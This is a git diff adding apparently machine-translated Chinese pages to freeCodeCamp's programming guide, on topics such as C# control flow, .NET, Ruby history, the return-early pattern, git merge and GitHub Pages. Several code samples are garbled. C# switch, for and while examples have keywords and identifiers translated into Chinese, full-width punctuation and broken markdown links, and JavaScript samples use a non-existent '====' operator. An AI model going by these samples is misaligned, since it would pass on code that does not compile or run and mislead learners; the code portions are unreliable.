+[**引用类型**](https://msdn.microsoft.com/en-us/library/490f96s2.aspx) ： [**引用类型的**](https://msdn.microsoft.com/en-us/library/490f96s2.aspx)变量存储对其对象的引用，这意味着它们将地址存储到[堆栈](http://gribblelab.org/CBootcamp/7_Memory_Stack_vs_Heap.html#orgheadline2)上的数据位置，也称为指针。实际数据存储在[堆](http://gribblelab.org/CBootcamp/7_Memory_Stack_vs_Heap.html#orgheadline3)内存中。将引用类型分配给另一个不会复制数据，而是创建指向堆上相同位置的第二个引用副本。
+
+在堆中，对象以随机顺序分配和释放，这就是为什么这需要内存管理和[垃圾收集](https://msdn.microsoft.com/en-us/library/hh156531(v=vs.110)的开销.aspx）。
+
+除非您编写[不安全的代码](https://msdn.microsoft.com/en-us/library/t2yzs44b.aspx)或处理[非托管代码](https://msdn.microsoft.com/en-us/library/sd10k43k(v=vs.100) .aspx），否则您无需担心内存位置的生命周期。 .NET编译器和CLR会处理这个问题，但为了优化应用程序的性能，保持这种思路仍然是好的。
+
+更多信息[在这里](http://www.c-sharpcorner.com/UploadFile/rmcochran/csharp_memory01122006130034PM/csharp_memory.aspx?ArticleID=9adb0e3c-b3f6-40b5-98b5-413b6d348b91)
+
+## 流量控制声明
+
+*   [如果是else](https://msdn.microsoft.com/en-us/library/5011f09h.aspx)语句： [在.NET小提琴中编辑](https://dotnetfiddle.net/IFVB33)
+    
+    ```
+            int myScore = 700; 
+            if (myScore == 700) 
+            { 
+                Console.WriteLine("I get printed on the console"); 
+            } 
+            else if (myScore > 10) 
+            { 
+                Console.WriteLine("I don't"); 
+            } 
+            else 
+            { 
+                Console.WriteLine("I also don't"); 
+            }
+    ```
+    
+*   [Switch](https://msdn.microsoft.com/en-GB/library/06tc147t.aspx)语句： [在.NET Fiddle中编辑](https://dotnetfiddle.net/lPZftO)
+    
+    使用系统;
+    
+    公共课程 { public static void Main（） { int myNumber = 0; 开关（myNumber） { //切换部分可以有多个案例标签。 案例0： 情况1： { Console.WriteLine（“案例0或1”）; 打破; }
+    
+    ```
+            // Most switch sections contain a jump statement, such as a break, goto, or return.; 
+            case 2: 
+                Console.WriteLine("Case 2"); 
+                break; 
+            // 7 - 4 in the following line evaluates to 3. 
+            case 7 - 4: 
+                Console.WriteLine("Case 3"); 
+                break; 
+            // If the value of myNumber is not 0, 1, 2, or 3 the 
+            //default case is executed.* 
+            default: 
+                Console.WriteLine("Default case. This is also optional"); 
+                break; // could also throw new Exception() instead 
+        } 
+     } 
+    
+    ```
+    
+    }
+    
+*   [For](https://msdn.microsoft.com/en-us/library/ch45axte.aspx) ＆ [Foreach](https://msdn.microsoft.com/en-gb/library/ttw7t8t6.aspx) ： [在.NET小提琴中编辑](https://dotnetfiddle.net/edxtvq)
+    
+    for（int i = 0; i <10; i ++） { Console.WriteLine（ⅰ）; //打印0-9 }
+    
+    Console.WriteLine（Environment.NewLine）; for（int i = 0; i <= 10; i ++） { Console.WriteLine（ⅰ）; //打印0-10 }
+    
+    Console.WriteLine（Environment.NewLine）; for（int i = 10 - 1; i> = 0; i--）//递减循环 { Console.WriteLine（ⅰ）; //打印9-0 }
+    
+    Console.WriteLine（Environment.NewLine）; // for（;;） { //所有表达式都是可选的。这个说法 //创建一个无限循环。\* //  
+    }
+    
+*   [虽然](https://msdn.microsoft.com/en-us/library/2aeyhxcd.aspx) ＆ [do-while](https://msdn.microsoft.com/en-us/library/370s1zax.aspx) ： [在.NET小提琴中编辑](https://dotnetfiddle.net/O5hOF1)
+    
+    //继续while循环，直到index等于10。 int i = 0; 而（i <10） { Console.Write（“While语句”）; Console.WriteLine（i）; //将索引写入屏幕。 i ++; //增加变量。 }
+    
+    int number = 0; //首先工作，直到满足条件，即数字等于4时终止。 做 { Console.WriteLine（number）; //打印0-4的值 号++; //将一个添加到数字。 } while（number <= 4）;
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/the-es6-promises/index.md b/client/src/guide/chinese/miscellaneous/the-es6-promises/index.md
new file mode 100644
index 0000000000..c4f8cbdda0
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/the-es6-promises/index.md
@@ -0,0 +1,15 @@
+---
+title: The Es6 Promises
+localeTitle: Es6承诺
+---
+ES6的一项新功能，可帮助实现异步编程。
+
+## 句法
+```
+new Promise(executor); 
+ new Promise(function(resolve, reject) { ... }); 
+```
+
+![MDN图片](//discourse-user-assets.s3.amazonaws.com/original/2X/8/803d67f7e823e9e50b55debaa82bb661543d2ddc.png)
+
+在[MDN上](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise)阅读更多内容
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/the-history-of-ruby/index.md b/client/src/guide/chinese/miscellaneous/the-history-of-ruby/index.md
new file mode 100644
index 0000000000..859f71c096
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/the-history-of-ruby/index.md
@@ -0,0 +1,21 @@
+---
+title: The History of Ruby
+localeTitle: Ruby的历史
+---
+[Ruby](https://www.ruby-lang.org/en/)是一种动态的，面向对象的， [反射式的](https://en.wikipedia.org/wiki/Reflection_(computer_programming)编程语言，专注于简单性和生产力。它具有优雅的语法，易于阅读和编写。它还具有动态类型系统和自动内存管理。
+
+以其[语法糖](https://en.wikipedia.org/wiki/Syntactic_sugar)而闻名，Ruby是为了开发人员的幸福。它由日本软件工程师[Yukihiro Matsumoto](https://en.wikipedia.org/wiki/Yukihiro_Matsumoto) （也称为Matz）创建，作为日常工作的简单通用脚本语言。将Perl，Smalltalk和Scheme的元素组合在一个简单而强大的语法中。
+
+Ruby于1993年2月24日构思。在1999年的ruby-talk邮件列表中，Yukihiro Matsumoto描述了他早期关于该语言的一些想法：
+
+> 我正和我的同事谈论面向对象脚本语言的可能性。我知道Perl（Perl4，而不是Perl5），但我真的不喜欢它，因为它有玩具语言的气味（它仍然有）。面向对象语言似乎非常有前途。我当时认识Python。但我不喜欢它，因为我认为它不是一种真正的面向对象语言--OO功能似乎是该语言的附加功能。作为语言狂热者和OO粉丝15年，我真的想要一种真正的面向对象，易于使用的脚本语言。我寻找但找不到一个。所以我决定成功。
+
+像Perl一样，Ruby擅长文本处理。像Smalltalk一样，Ruby中的所有东西都是一个对象，Ruby有块，迭代器，元类和其他好东西。您可以使用Ruby编写服务器，试验原型以及日常编程任务。作为一种完全集成的面向对象语言，Ruby可以很好地扩展。
+
+到2000年，Ruby在日本比Python更受欢迎;但随着[Ruby on Rails](http://rubyonrails.org/) Web框架的创建和发布;它的发展突飞猛进，远远超出日本。
+
+今天，Ruby on Rails被认为是一个可靠的Web框架;它在网络开发方面开创了许多伟大的实践。
+
+类似地，许多[流行的网站](https://prograils.com/posts/top-10-famous-sites-built-with-ruby-on-rails)都在Ruby on Rails中编码，如Github，Airbnb，Groupon等。
+
+Ruby有各种各样的[实现](https://github.com/cogitator/ruby-implementations/wiki/List-of-Ruby-implementations) 。 JRuby（Ruby on the JVM），Ruby MRI（也称为CRuby）和IronRuby（Ruby for .NET和Silverlight）是最流行的一些。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/the-net-platform/index.md b/client/src/guide/chinese/miscellaneous/the-net-platform/index.md
new file mode 100644
index 0000000000..8a0570e1fa
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/the-net-platform/index.md
@@ -0,0 +1,36 @@
+---
+title: The Net Platform
+localeTitle: 网络平台
+---
+**.NET平台**是由[Microsoft](https://www.microsoft.com/net)管理的庞大而全面的框架和库集合。 C＃是用于开发一系列.NET应用程序的最流行的语言，例如[Web应用程序](http://www.asp.net/) ， [Windows](https://dev.windows.com/en-us/) [应用程序](http://www.asp.net/) ， [Mac和iPhone应用程序](https://www.xamarin.com/platform) 。
+
+我们将从学习C＃编程语言开始 ，并使您熟悉将作为专业开发人员执行的开发环境，项目结构，技术和最佳实践。
+
+首先让我们从.NET平台的简要概述开始，然后开始讨论一些术语。别担心，此时您无需深入了解这些内容。
+
+*   [.NET Framework](https://msdn.microsoft.com/en-gb/library/w0x726c2(v=vs.110) .aspx）:( _发音为dot net_ ）为您的应用程序提供了在其上运行的配置。它提供应用程序所需的所有服务;例如，与数据库，网络，文件系统的通信，这些系统通常用于构建控制台，桌面，Web，移动和游戏应用程序。
+    
+    *   [CLR（公共语言运行时）](https://msdn.microsoft.com/en-us/library/8bs2ecf4(v=vs.100) .aspx）：是应用程序的执行环境，用于管理其生命周期。 CLR提供内存管理等服务，它是：
+    
+    1\. [CLI标准的](http://www.ecma-international.org/publications/standards/Ecma-335.htm)实现[（公共语言基础设施）](http://www.ecma-international.org/publications/standards/Ecma-335.htm) 2.设计为独立于平台。平台是指计算机体系结构和操作系统。 3.独立于语言，例如可用于C＃，C ++， [VB.NET\] \[vbnet\]和\[F＃\] \[fsharp\]。](https://msdn.microsoft.com/en-us/library/system.io(v=vs.110)
+    
+*   C-Sharp编译器： `csc.exe`是一种编译器，它将C＃代码转换为Microsoft中间语言（MSIL），通常称为IL。它定义了CLR可以理解的指令。 CLR的工作是阅读这些说明并将其转换为机器可理解的说明。
+    
+*   类库：它包含数千个内置类供您的应用程序使用，例如\[ `System.IO` .aspx）用于读/写数据流， [`HttpClient`](https://msdn.microsoft.com/en-us/library/system.net.http.httpclient(v=vs.118) .aspx）通过网络发送数据， [`ASP.NET`](http://www.asp.net/)发送Web应用程序， [`ADO.NET`](https://msdn.microsoft.com/en-us/library/h43ks021(v=vs.110) .aspx）用于数据访问关系数据库（如Microsoft SQL Server和MySQL）和[Windows Communication Foundation（WCF）](https://msdn.microsoft.com/en-us/library/ms735119(v=vs.90) .aspx），用于面向服务的应用程序，这些应用程序通过HTTP，REST，SOAP和TCP等已建立的协议进行通信。
+    
+*   C＃编程语言（ _发音为“C-sharp”_ ）：C＃的语法类似于Java，C ++和Javascript。它是：
+    
+    1.  用于编写应用程序，服务和可重用库。
+    2.  旨在与.NET平台一起使用。
+    3.  强类型，高级面向对象语言。
+    
+    *   [.NET Core](https://blogs.msdn.microsoft.com/dotnet/2014/12/04/introducing-net-core/) ：微软最近致力于开发以[Nuget](https://www.nuget.org/)软件包形式提供的开源，跨平台开发。他们正在使用[Mono](http://www.mono-project.com/)社区，这是Microsoft .NET框架的一个实现，用于在Windows，Linux和iOS上构建应用程序。
+        
+    *   [Silverlight](https://www.microsoft.com/silverlight/) ：主要用于专注于Web浏览器插件，以提供丰富的多媒体。
+        
+    *   [.NET for Windows app](https://dev.windows.com/en-us/) ：用于使用C＃创建Windows 8.x Store应用程序。
+        
+
+## C＃编程语言
+
+下一步学习C＃编程语言 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/the-ooda-loops/index.md b/client/src/guide/chinese/miscellaneous/the-ooda-loops/index.md
new file mode 100644
index 0000000000..d70c6c0d26
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/the-ooda-loops/index.md
@@ -0,0 +1,11 @@
+---
+title: The Ooda Loops
+localeTitle: Ooda循环
+---
+OODA循环是关于你可以迭代的速度。通常在精益创业圈子中引用。
+
+![OODA](https://upload.wikimedia.org/wikipedia/commons/3/3a/OODA.Boyd.svg)
+
+## 也可以看看
+
+[OODA循环](https://en.wikipedia.org/wiki/OODA_loop)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/the-return-early-pattern/index.md b/client/src/guide/chinese/miscellaneous/the-return-early-pattern/index.md
new file mode 100644
index 0000000000..ad73673434
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/the-return-early-pattern/index.md
@@ -0,0 +1,79 @@
+---
+title: The Return Early Pattern
+localeTitle: 回归早期模式
+---
+JavaScript中的返回早期模式是将函数体中的`else`语句数量减少为零的简单方法。使用`else`语句比使用这种模式有很多理由。
+
+*   减少页面上的代码总量
+*   通过降低逻辑复杂性来减少线路长度
+*   提高可读性
+
+返回早期模式的本质是通过在`if`语句的主体中使用`return`关键字来替换JavaScript函数中对`else`条件的需要。
+
+让我们创建在某些条件下表现不同的函数（注意：这是一个简单且人为的例子，只是为了得到重点）。
+```
+function willItBlend(someObject) { 
+  var ItWillBlend; 
+ 
+  if (someObject.blendable ==== 'It will blend') { 
+    itWillBlend = true; 
+  } else { 
+    itWillBlend = false; 
+  } 
+ 
+  return itWillBlend; 
+ } 
+```
+
+虽然这看起来似乎是可读的，但让我们添加另一个条件来验证函数确实是用对象而不是`undefined`调用的。
+```
+function willItBlend(someObject) { 
+  var itWillBlend; 
+ 
+  if (typeof someObject === 'object') { 
+    if (someObject.blendable ==== 'It will blend') { 
+      itWillBlend = true; 
+    } else { 
+      itWillBlend = false; 
+    } 
+  } else { 
+    itWillBlend = false; 
+  } 
+ 
+  return itWillBlend; 
+ } 
+```
+
+此功能很明确，其名称是描述性的，但似乎不必要地复杂化。我们可以使用返回早期模式来提高可读性并减少`else`语句的数量吗？我们试一试吧。
+```
+function willItBlend(someObject) { 
+  if (typeof someObject !== 'object') { 
+    return false; 
+  } 
+ 
+  if (someObject.blendable !== 'It will blend') { 
+    return false; 
+  } 
+ 
+  return true; 
+ } 
+```
+
+使用返回早期模式，我们能够删除所有不必要的else语句，并使我们的函数目的和签名（它所期望的参数类型）更加清晰和简洁。
+
+### 奖金：一个条件声明
+
+我们可以进一步重构这个函数，只使用一个if语句。一探究竟：
+```
+function willItBlend(someObject) { 
+  if ( 
+    typeof someObject !== 'object' || 
+    someObject.blendable !== 'It will blend' 
+    ) { 
+    return false; 
+  } 
+ 
+  return true; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/tips-for-your-coding/index.md b/client/src/guide/chinese/miscellaneous/tips-for-your-coding/index.md
new file mode 100644
index 0000000000..5b6d55dbb1
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/tips-for-your-coding/index.md
@@ -0,0 +1,24 @@
+---
+title: Tips for Your Coding
+localeTitle: 编码提示
+---
+此列表是通过在处理算法挑战时编译常见问题和问题而创建的，它们通常应该是有用的。
+
+1.  如果您不知道从哪里开始，请编写一些伪代码。在尝试将其用于代码之前，请计划您尝试使用本机语言实现的逻辑。
+    
+2.  评论您的代码！不能强调一个，如果你迷路或休息然后回来你需要知道你的代码试图做什么。它还将强化代码对您的意义，并帮助其他人了解您的代码在遇到困难并寻求帮助时所执行的操作。如果您对露营者有任何其他提示，我很乐意看到他们！
+    
+3.  将chrome javascript调试器控制台与netbeans IDE或sublime文本结合使用来编写代码。两者都可以免费下载。 freeCodeCamp代码编辑器很棒但是你可以通过使用chrome的JS调试器和一堆**console.log（myVariableGoesHere）**获得更多关于代码行为的反馈**。**
+    
+
+参考
+
+*   [Chrome控制台](https://developer.chrome.com/devtools/docs/console)
+    
+*   [崇高文本](http://www.sublimetext.com/)
+    
+*   [Netbeans的](https://netbeans.org/downloads/)
+    
+    1.  在gitter中发布代码非常简单，只需添加一行只包含3个后缀\*\* `** then your code in a new line and another line with 3 more backtics.`
+        
+    2.  在gitter中寻求帮助！我可以亲自谈论几个小时的问题，然后在我试图向某人解释它时，或者在他们看到它之后让某人说出“第6行的错字”这样的问题时立即查看解决方案。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/transferring-a-heroku-project-between-nonprofit-project-owners/index.md b/client/src/guide/chinese/miscellaneous/transferring-a-heroku-project-between-nonprofit-project-owners/index.md
new file mode 100644
index 0000000000..65fb4fec34
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/transferring-a-heroku-project-between-nonprofit-project-owners/index.md
@@ -0,0 +1,25 @@
+---
+title: Transferring a Heroku Project Between Nonprofit Project Owners
+localeTitle: 在非营利项目业主之间转移Heroku项目
+---
+## Heroku的：
+
+一旦收到Heroku应用程序的人创建了一个Heroku帐户，请按照此处的步骤将其转移给他们： [https](https://devcenter.heroku.com/articles/transferring-apps) ： [//devcenter.heroku.com/articles/transferring-apps](https://devcenter.heroku.com/articles/transferring-apps)
+
+## MLAB：
+
+为您要传输MLAB数据库的人创建一个MLAB“用户”帐户： [http](http://docs.mlab.com/accounts/#account-users) ： [//docs.mlab.com/accounts/#account-users](http://docs.mlab.com/accounts/#account-users)
+
+然后，他们需要将您的管理员权限重新分配给您刚刚创建的帐户： [http](http://docs.mlab.com/accounts/#re-assign-admin-privileges-admin-only) ： [//docs.mlab.com/accounts/#re-assign-admin-privileges-admin-only](http://docs.mlab.com/accounts/#re-assign-admin-privileges-admin-only)
+
+## GitHub或BitBucket
+
+新项目所有者可以分叉您现有的仓库，也可以在GitHub中将其所有权转让给他们： [https](https://help.github.com/articles/about-repository-transfers/) ： [//help.github.com/articles/about-repository-transfers/](https://help.github.com/articles/about-repository-transfers/)
+
+要在BitBucket中传输它： [https](https://confluence.atlassian.com/bitbucket/change-or-transfer-repository-ownership-289964397.html) ：//confluence.atlassian.com/bitbucket/change-or-transfer-repository-ownership-289964397.html
+
+## 确保您的Git历史记录中没有任何密钥
+
+如果您的项目是开源的，请小心删除任何密钥（它们应该从未在第一时间提交，但最好迟到而不是删除它们）。以下是搜索代码历史记录的方法：
+
+如果您在存储库中的某个位置找到密钥，或者发现某个敏感文件（例如.env）在某个时刻以某种方式提交，则可以使用BFG从git历史记录中清除它： [https](https://help.github.com/articles/remove-sensitive-data/) ：//help.github.com/articles [/删除敏感数据/](https://help.github.com/articles/remove-sensitive-data/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/translate-free-code-camp-to-your-language/index.md b/client/src/guide/chinese/miscellaneous/translate-free-code-camp-to-your-language/index.md
new file mode 100644
index 0000000000..d8924a0dcd
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/translate-free-code-camp-to-your-language/index.md
@@ -0,0 +1,8 @@
+---
+title: Translate Free Code Camp to Your Language
+localeTitle: 将免费代码营翻译成您的语言
+---
+我们的翻译工作由像您这样的双语露营者推动。
+
+如果您是双语人士，并且有时间帮助我们，请加入[gitter频道](https://gitter.im/FreeCodeCamp/Translators)  
+并阅读[翻译指南](http://forum.freecodecamp.com/t/guidelines-for-translating-free-code-camp-to-any-language/19111)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/understand-how-to-use-git-merge/index.md b/client/src/guide/chinese/miscellaneous/understand-how-to-use-git-merge/index.md
new file mode 100644
index 0000000000..82cdc9b592
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/understand-how-to-use-git-merge/index.md
@@ -0,0 +1,70 @@
+---
+title: Understand How to Use Git Merge
+localeTitle: 了解如何使用Git Merge
+---
+我们假设您正在开发一个类似于Reddit的应用程序，但专门用于代码片段。在这样的应用程序中，您可能有一个包含所有已发布功能的`master`分支，一个`dev`分支，它可能包含已编码但尚未实现的功能。团队中的每个开发人员都将在`dev`分支上创建自己的分支以获取各个功能。存储库结构看起来像这样：
+```
+                                  --- Commit 3 --------- dev branch 
+                                / 
+ --- Commit 1 ---- Commit 2 ---------------------------- master branch 
+```
+
+如果您决定将第3次提交（ `Commit 3` ）从`dev`分支合并到`master`分支中，那么它就像运行`git merge`命令一样简单，因为`dev`分支与`master`分支是_最新_的：所有`master`分支中的提交存在于`dev`分支中。您可以通过运行以下命令来合并分支：
+```
+git checkout dev 
+ git merge master 
+```
+
+结果将是这样的：
+```
+                                               --------- dev branch 
+                                             / 
+ --- Commit 1 ---- Commit 2 ---- Commit 3 -------------- master branch 
+```
+
+现在您决定使用身份验证功能。要处理身份验证功能，请根据`dev`分支创建另一个分支，并决定将其称为`auth` 。这就是repo结构的样子：
+```
+                                                  ------ auth branch 
+                                                / 
+                                               --------- dev branch 
+                                             / 
+ --- Commit 1 ---- Commit 2 ---- Commit 3 -------------- master branch 
+```
+
+如果你提交的任何更改`auth`分公司，合并他们`dev`的分支将是微不足道的，因为它是由最新与`dev`分支。现在，当您正在研究身份验证功能时，其中一位开发人员完成了语法突出显示功能的编码，并决定将其与`dev`分支合并。回购现在看起来像这样：
+```
+                                                  --- Commit 5 --- auth branch 
+                                                / 
+                                               --- Commit 4 ------ dev branch 
+                                             / 
+ --- Commit 1 ---- Commit 2 ---- Commit 3 ------------------------ master branch 
+```
+
+你的分支，在Git术语中，现在是`dev`分支后面的一个提交。这意味着您不能简单地合并两个分支：您必须使用`dev`分支使您的`auth`分支更新。这可以通过`git merge`完成！
+
+将`auth`分支与`dev`分支或`dev`分支与`master`分支合并是很简单的并且按照你的期望进行，但是相反地合并它有自己的特性，乍一看并不直观。我可以喋喋不休，或者我可以向您展示另一个很好的图表，如果您此时合并`dev`分支与`auth`分支会发生什么：
+```
+                                                  --- Commit 5 ----------- auth branch 
+                                                /               / 
+                                               --- Commit 4 -------------- dev branch 
+                                             / 
+ --- Commit 1 ---- Commit 2 ---- Commit 3 -------------------------------- master branch 
+```
+
+看看我在那里做了什么？查看图表一秒钟，并在继续之前尝试了解这里发生的事情。您基本上是对`auth`分支进行了另一次提交，其中包含了`dev`分支中的提交。但那没关系，对吧？毕竟，在一天结束时，我想让我的`auth`分支与`dev`分支最新，现在它_是_最新的？是的。但是，让我向您展示一个图表，以明确说明其他图表所暗示的内容：您的`auth`分支现在看起来像这样：
+```
+    --- Commit 5 ------- Commit 4 ------- auth branch 
+  /                / 
+ ------ Commit 4 --- --------------------- dev branch 
+```
+
+现在看？您_复制_了提交。如果你现在要合并到`dev`分支，它看起来像这样：
+```
+    --- Commit 5 ------- Commit 4 -------------------------------------- auth branch 
+  /                /                  \ 
+ ------- Commit 4 ----------------------- Commit 5 ---- Commit 4 -------- dev branch 
+```
+
+你合并了两次相同的提交！这当然对你的代码本身没有任何影响，但是如果你有一个好日子决定查看你的`git logs` ，你会立即意识到你的git历史是多么脏，一些提交一遍又一遍。如果您想恢复提交，则很难确定要还原到哪个提交。
+
+您最好使用[Git-Rebase](http://forum.freecodecamp.com/t/how-to-use-git-rebase/13226) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/untrack-files-previously-committed-from-new-gitignore/index.md b/client/src/guide/chinese/miscellaneous/untrack-files-previously-committed-from-new-gitignore/index.md
new file mode 100644
index 0000000000..80312f7a96
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/untrack-files-previously-committed-from-new-gitignore/index.md
@@ -0,0 +1,23 @@
+---
+title: Untrack Files Previously Committed from New Gitignore
+localeTitle: 以前从新Gitignore承诺的Untrack文件
+---
+要解开_单个_文件，即停止跟踪文件但不从系统中删除它：
+
+`git rm --cached filename`
+
+要解开`.gitignore` _每个_文件：
+
+首先**提交**任何未完成的代码更改，然后运行：
+
+`git rm -r --cached`
+
+这将从索引（暂存区域）中删除所有已更改的文件，然后运行：
+
+`git add .`
+
+承诺：
+
+`git commit -m ".gitignore is now working"`
+
+要撤消`git rm --cached filename` ，请使用`git add filename`
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/us-state-map-visualization-using-d3js/index.md b/client/src/guide/chinese/miscellaneous/us-state-map-visualization-using-d3js/index.md
new file mode 100644
index 0000000000..28e9617777
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/us-state-map-visualization-using-d3js/index.md
@@ -0,0 +1,61 @@
+---
+title: Us State Map Visualization Using D3js
+localeTitle: 我们使用D3js的状态图可视化
+---
+![截屏2016-05-19 at 6 29 43 pm](//discourse-user-assets.s3.amazonaws.com/original/2X/a/a4a31935c10185c660c713ba7651a30e0a11f1e8.png)
+
+## 项目说明：
+
+**我们有美国各州的样本数据：美国各州**报告的严重事故数量。
+
+_我们将这些数据分为三类：_一个月报告的最低数量，一年中平均报告的事故数和一个月内报告的最高数，如下面的样本数据所示。
+
+我们想要绘制一个美国地图并可视化这些数据，这样当我们将鼠标悬停在一个状态上时，它应该显示该特定状态的数据。
+
+## 样本数据：
+
+`AZ: 13 41 57`
+
+`CA: 41 60 81`
+
+`NY: 6 35 54`等等。
+
+## 提示和资源：
+
+### 分步说明：
+
+*   首先，我们需要创建一张美国地图。
+    
+    1.  您可以使用像 - [Stately](https://intridea.github.io/stately/)这样的来源从头开始创建地图[。](https://intridea.github.io/stately/)
+        
+    2.  从[freehtml5maps](http://freehtml5maps.com)获取已创建的地图或使用此[Javascript](http://bl.ocks.org/NPashaP/raw/a74faf20b492ad377312/3513ad985b2fa93ea35f2fc864cb30540c298171/uStates.js)
+        
+*   将地图添加到用于可视化的主要JavaScript中
+    
+
+例如， `(script src="uStates.js")(/script) (!-- creates uStates. --)`
+
+*   创建Div标签以保存工具提示并创建SVG以保存地图。
+
+例如，
+
+`javascript (div id="tooltip")(/div) (svg width="960" height="600" id="statesvg")(/svg)`
+
+*   创建工具提示功能以在工具提示div中创建html内容字符串。
+
+这个工具提示函数将返回一个表，只要我们将鼠标悬停在状态上，就会显示该表。表格应该是这样的（如第一张图所示）：Arizona Low 13 Average 41 High 57
+
+*   使用数据和工具提示函数在id上绘制状态（在我们的示例中为#statesvg）。
+
+例如， `uStates.draw("#statesvg", sampleData, tooltipFunc);`
+
+**最终输出将是这样的:(鼠标悬停在加利福尼亚州）**
+
+![屏幕截图2016-05-19在6 37 57 pm](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2c17548386b8591d84ac8f2541fecd8d68e7365c.png)
+
+## 参考文献：
+
+1.  [**D3.js**](https://d3js.org)示例和文档。
+2.  [**NPashaP GitHub**](https://github.com/NPashaP)
+3.  [**庄严**](https://intridea.github.io/stately/)
+4.  [**FreeHTML5Maps**](http://freehtml5maps.com)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/use-github-static-pages-to-host-your-front-end-projects/index.md b/client/src/guide/chinese/miscellaneous/use-github-static-pages-to-host-your-front-end-projects/index.md
new file mode 100644
index 0000000000..50635edbea
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/use-github-static-pages-to-host-your-front-end-projects/index.md
@@ -0,0 +1,93 @@
+---
+title: Use Github Static Pages to Host Your Front End Projects
+localeTitle: 使用Github静态页面来托管您的前端项目
+---
+**优点**
+
+我喜欢Codepen.io，它是一个简单易用的工具，可用于简单的前端实验。但随着fcc项目变得越来越复杂，我意识到本地编码会给我带来一些麻烦。我的文本编辑器和[代码套件](https://incident57.com/codekit/)组合速度更快。
+
+*   自动完成
+*   编译所有东西（codepen真的拖着试图编译Jade）
+*   更好的自动刷新
+*   内置凉亭
+*   Git版本控制
+*   改善了屏幕房地产体验
+
+## Git到Github
+
+由于我已经在本地保存，并使用git进行版本控制，我想也可以上传到Github。此外，Github还为前端项目提供了一个非常棒的免费服务，称为[Github Pages](https://pages.github.com/) 。只需更新您的仓库，您的更改即会生效。
+
+它的工作原理很简单。 Github检查您的存储库是否有一个名为`gh-pages`的分支，并提供位于该分支中的任何代码。这里没有后端内容，但HTML，CSS和JS就像魅力一样。
+
+## 首先要做的事情
+
+让我们为您的项目创建一个新文件夹。我将以[Camper News](http://www.freecodecamp.com/challenges/stylize-stories-on-camper-news)项目为例。
+
+到达您的工作目录并创建一个新目录。您可以在终端中执行此操作（或不执行此操作）。
+
+![项目目录](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2e3faaa2752657c592a9991ceed29a0200f332e6.png)
+
+现在，进入项目目录，并且（这次在终端中确定）使用命令`git init` 。注意，本教程假设[您已安装git](https://git-scm.com/book/en/v2/Getting-Started-Installing-Git) 。
+
+好的，太棒了。现在我们准备工作了。
+
+## 下一步
+
+在campNews目录中创建一些文件。我不知道，也许是index.html，可能是app.css和app.js，或者你喜欢的任何命名约定。将您的代码放在这些文件中。好的，现在我们已经为第一次提交做好了准备。它需要**两个步骤** 。
+
+1.  `git add -A`将准备所有这些新文件及其中的新代码
+2.  `git commit -m 'relevant message'`将把你所做的所有工作提交到你当前所在的分支（默认为'master'）
+
+## 这整件事的关键
+
+好的，到目前为止我们仍然在当地。我们需要做一些事情来完成我们的工作并将其转移到github。在这一点上，我喜欢切换分支。请记住 - github仅从gh-pages提供服务，如果你到目前为止，你的分支被称为'master'。让我们创建一个新的（本地）gh-pages分支。
+
+`git checkout -b gh-pages`将创建它，将所有工作从master复制到gh-pages并切换到分支。唷。
+
+`git branch -d master`将摆脱master分支。听起来很疯狂我知道，但我们需要它做什么？只需将gh-pages视为新的主分支。
+
+现在，为了以防万一， `git add -A`再次`git add -A`和`git commit -m 'relevant message'` 。并准备离开您的编辑和终端，并第一次上网。
+
+转到您的github配置文件并创建一个新的repo。将其命名为相关内容，例如campNews。
+
+![新的回购](//discourse-user-assets.s3.amazonaws.com/original/2X/3/3f113af87b94fcd649c78d5f6d36463795671e7b.png)
+
+创建后，进入并获取HTTPS克隆URL。 （忽略我的屏幕截图中的文件，此时您的仓库将为空）。
+
+![克隆网址](//discourse-user-assets.s3.amazonaws.com/original/2X/a/a0f3da26ba0802342d7d6f7890763a2bca32b62a.png)
+
+## 把它们放在一起
+
+你可以离开网络世界。回到终端！让我们将我们的本地项目连接到这个github仓库。所需要的只是一个命令。
+
+`git remote add origin <server>`只需用刚刚复制的HTTPS url替换服务器。所以我的命令看起来像这样：
+
+`git remote add origin https://github.com/gkobilansky/campNews.git` 。
+
+好的，到目前为止我们已经：
+
+1.  创建了我们的项目
+2.  用git对它进行了版本控制
+3.  进行了一些改变
+4.  将其切换到'gh-pages'分支
+5.  将它连接到github
+
+## 最后一步！
+
+将项目推送到github。同样，简单：
+
+`git push origin gh-pages`
+
+该命令将确保您的最新提交上传到github。一旦你完成了至少一次，你的项目应该是http：// _username_ .github.io / _repository_ ，所以对我来说它是[http://gkobilansky.github.io/campNews](http://gkobilansky.github.io/campNews) 。
+
+完成所有操作后，该过程将重复：
+
+1.  `git add -A`
+2.  `git commit -m 'relevant message'`
+3.  `git push origin gh-pages`
+
+当然，比codepen.io更陡峭的学习曲线，但是一旦掌握了它，就会更快，更灵活。
+
+快乐的编码！
+
